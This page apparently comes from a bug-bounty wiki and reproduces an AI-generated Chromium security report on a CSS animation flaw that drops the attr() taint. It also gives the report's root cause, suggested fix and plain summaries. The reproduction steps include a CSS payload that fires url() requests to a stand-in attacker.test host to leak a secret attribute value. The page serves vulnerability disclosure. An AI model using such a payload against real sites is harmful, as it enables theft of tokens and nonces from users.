Information leak in Animation (CVE-2026-113128)
A logic flaw in Blink's CSS animation engine can drop the security taint on values derived from attr(), so a custom property that should be blocked from use in url() contexts becomes usable there. An attacker with a CSS injection primitive could then use conditional style queries and url() fetches to leak sensitive DOM attribute values.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 3 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential logic flaw in Blink's CSS animation system allows the security taint of attr() values to be bypassed. When an animation on a registered custom property depends on the underlying base style (such as via neutral keyframes or animation-composition: add), the taint is not propagated through InvalidatableInterpolation. This can potentially allow an attacker with a CSS injection primitive to exfiltrate sensitive DOM attribute values using conditional style queries and url() fetches.
Affected files:
third_party/blink/renderer/core/animation/invalidatable_interpolation.ccthird_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/css/properties/longhands/custom_property.cc
Estimated timestamp from git blame: 2024-09-23
Potential Security Bypass of CSS attr() Taint via InvalidatableInterpolation and Neutral Keyframes
Summary
We have identified a potential vulnerability in Blink's CSS animation engine that permits the laundering of the CSS attr() security-taint bit. The attr() taint mechanism (defined in CSS Values Level 5) is designed to prevent CSS injection attacks from exfiltrating sensitive DOM attributes (such as CSRF tokens or nonces) by restricting attr() usage within url() contexts. However, when an animation uses the underlying base-style value via neutral keyframes (missing from or to rules) or animation-composition: add, the taint state is potentially lost, enabling unauthorized data exfiltration via static CSS.
Note: These are potential steps and behaviors identified via static source code analysis; our automated tooling does not currently have the capability to execute and run the code to produce a live proof-of-concept.
Technical Details & Root Cause
When resolving registered custom properties, the computed value is stored in two representations on ComputedStyle:
CSSVariableData: Holds unparsed/substituted tokens, which retains theIsAttrTainted()state (defined inthird_party/blink/renderer/core/css/css_variable_data.h).CSSValue: Holds the parsed typed representation (e.g.,CSSNumericLiteralValuefor<number>syntax), which lacks any taint propagation flag.
During style cascades containing CSS animations, StyleCascade::Apply executes two passes:
- Base pass: Parses
--n: attr(data-secret type(<number>)), correctly setting theIsAttrTainted()flag on itsCSSVariableData. - Animated pass: Applies animations via
InvalidatableInterpolation::ApplyStack(third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:322).
The Laundering Flow:
-
If an animation on the registered custom property
--ndepends on the underlying base-style value (e.g., due to a neutral keyframe oranimation-composition: add),DependsOnUnderlyingValue()returnstrue(seeinvalidatable_interpolation.cc:118-121). -
ApplyStackresolves the underlying value viafirst_interpolation.MaybeConvertUnderlyingValue(environment). -
CSSInterpolationType::MaybeConvertUnderlyingValue(third_party/blink/renderer/core/animation/css_interpolation_type.cc:414-428) retrieves the base-style's value:C++ const CSSValue* underlying_value = style.GetVariableValue(name, Registration().Inherits());This retrieves the typed, untainted
CSSValuerepresentation (the loop-hole). -
A fresh
CSSInterpolationEnvironmentis created with its defaultis_attr_tainted_flag set tofalse. UnlikeTransitionInterpolation::Apply, which explicitly plumbs the transition's taint viaenvironment.SetIsAttrTainted(),InvalidatableInterpolation::ApplyStackdoes not set the environment's taint. -
When
CSSInterpolationType::ApplyCustomPropertyValueexecutes,environment.IsAttrTainted()returnsfalse, soStyleBuilder::ApplyPropertyis invoked without theValueMode::kAttrTaintedflag. -
Consequently,
CustomProperty::ApplyValuecreates a brand newCSSVariableDatarepresenting the same numeric value but withis_attr_tainted = false, overwriting the previously tainted base data. -
Subsequently, any conditional logic evaluating the custom property (such as CSS
if()style functions) reads the newly animated, untainted variable data, allowing associatedurl()rules to pass the parsing gate atcss_parsing_utils.cc:2020and trigger an outbound HTTP fetch.
Potential Steps to Reproduce
An attacker leveraging a CSS injection vulnerability on a target page with <div data-secret="7193"> could potentially run the following attack sequence:
-
Define a registered
<number>property:CSS @property --n { syntax: "<number>"; inherits: false; initial-value: 0; } -
Configure a paused CSS animation with a neutral keyframe:
CSS @keyframes hold { to { --n: 0; } } -
Attach the animation and the
attr()-derived property to the target element:CSS [data-secret] { --n: attr(data-secret type(<number>)); animation: hold 1e9s paused; background-image: if(style(--n > 5000): url(https://attacker.test/gt); else: url(https://attacker.test/lte)); } -
Upon style computation, the base value is read, the animation composites onto it (washing away the taint), and the conditional rule evaluates
--nas untainted. The browser then executes theurl()request, exfiltrating the comparative state of the attribute value.
Suggested Fix
To prevent the loss of the attr() taint flag in InvalidatableInterpolation:
-
Retrieve and check the base style's
CSSVariableDatafor taint inCSSInterpolationType::MaybeConvertUnderlyingValue():C++ const CSSVariableData* underlying_data = style.GetVariableData(name, Registration().Inherits()); bool is_underlying_tainted = underlying_data && underlying_data->IsAttrTainted(); -
Propagate the taint status through the active
CSSInterpolationEnvironmentwhen applying invalidatable interpolations. If any of the active interpolations or the base style value are tainted, ensureenvironment.SetIsAttrTainted(true)is called prior to executing property builders.
Evaluated with Chrome root at commit: bf775e5d75cb9e1767e2cd02cc93efa0077d14a5
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the animation code reads the typed, untainted CSSValue for the underlying base style and builds a fresh interpolation environment without copying the attr() taint flag, so the rebuilt custom property data is no longer marked as tainted.
Impact
An attacker with a CSS injection primitive could potentially exfiltrate sensitive DOM attribute values such as tokens or nonces via outbound url() requests; the report notes the behaviour was found by static analysis and no live proof-of-concept was produced.
What the attacker needed
CSS injection on the target page; Victim uses an affected Chromium build; Secret stored in a DOM attribute
The fix
The taint should be read from the base style's CSSVariableData and propagated into the interpolation environment before property builders run, so the rebuilt custom property stays marked as tainted.
How it was found
- Register a custom property with number syntax and no inheritance.
- Set up a paused animation with a neutral keyframe that targets that property.
- Bind the property to attr() of a secret attribute and add a conditional background-image rule that fetches a URL based on the value.
- Let style computation run so the animation composites onto the base value and the conditional rule fires the request.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some browsers mark values that come from HTML attributes as 'tainted' so that injected CSS cannot read them and send them to an attacker's server. This report says that when such a value passes through a CSS animation, the taint mark is lost, so the value can then be used in a network request. The result is that a page's secret attribute values could be guessed and leaked one bit at a time.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.